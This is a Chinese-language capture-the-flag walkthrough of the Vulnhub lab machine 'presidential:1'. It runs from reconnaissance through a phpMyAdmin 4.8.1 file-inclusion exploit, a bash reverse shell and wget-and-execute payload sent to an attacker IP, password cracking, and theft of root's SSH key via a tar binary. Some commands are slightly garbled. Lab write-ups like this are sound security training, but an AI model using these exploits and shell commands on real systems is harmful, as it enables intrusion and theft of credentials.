Vulnhub靶场presidential:1

0x00靶机信息

靶机:presidential:1

难度:中-难

下载:https://www.vulnhub.com/entry/presidential-1,500/

0x01信息收集

靶场网段:192.168.250.0/24

Nmap扫描靶场网段,寻找目标靶机IP以及相关端口以及服务

1
2
nmap -sn 192.168.250.0/24
nmap -sV -p- 192.168.250.132

Vulnhub靶场presidential:1

IP:192.168.250.132

端口:80(http)2082(ssh)

Vulnhub靶场presidential:1打开网站,果不其然也是个静态页面,但是页面内有个邮箱,邮箱的域名我们本地改host绑定一下

Vulnhub靶场presidential:1接下来扫描目录寻找有价值的信息

1
nikto -h  http://votenow.local

Vulnhub靶场presidential:1打开config.php一片空白

Vulnhub靶场presidential:1使用dirsearch再扫下目录看看有没有漏扫

1
python3 dirsearch.py -u http://votenow.local -e php

Vulnhub靶场presidential:1config.php.bak同样的一片空白,但是在源码内,有一些重要信息

Vulnhub靶场presidential:1

是数据库的账号密码,但是数据库页面还没见到个影,爆破一下子域名试试

1
wfuzz
-w
/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
-H "Host: FUZZ.votenow.local" --hw 854 --hc 400 votenow.loca

Vulnhub靶场presidential:1再次去host里绑定

Vulnhub靶场presidential:1

用config.php.bak里的账号密码登入

Vulnhub靶场presidential:1

user表有一个账号密码加密了,使用john解密

1
john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt john.txt

0x02漏洞利用

phpmyadmin的版本为4.8.1,这个版本有本地包含漏洞

开始利用

SQL执行

1
select 'phpphpinfo();exit;?>'

Vulnhub靶场presidential:1

然后包含session

1
http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_4ribtr9diq98423tqfja79srek4ol8sj

Vulnhub靶场presidential:1Vulnhub靶场presidential:1

创建反弹文件

1
cd /var/www/html | echo 'bash -i >& /dev/tcp/192.168.250.129/1100 0>&1' > shell.s

再执行SQL命令

1
select 'phpsystem("wget 192.168.250.129/shell.sh; chmod +x shell.sh; bash shell.sh");exit;?>'

Vulnhub靶场presidential:1

nc开始监听

1
nc -lvv 1100

Vulnhub靶场presidential:1

解决shell输入字母会变成双写

1
python -c 'import pty; pty.spawn("/bin/bash")'

0x03提权

我们切换用户到admin用户,密码是Stella,之前user表解密出来的

Vulnhub靶场presidential:1

尝试提权,sudo提权失败,根目录的notes.txt文件提示的大概意思就是让我们使用压缩的命令Vulnhub靶场presidential:1

使用tars

1
2
3
4
tarS -cvf key.tar /root/.ssh/id_rsa
tar -xvf key.tar
cd root/.ssh
ssh -i id_rsa [email protected] -p 2082

Vulnhub靶场presidential:1

至此通关

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论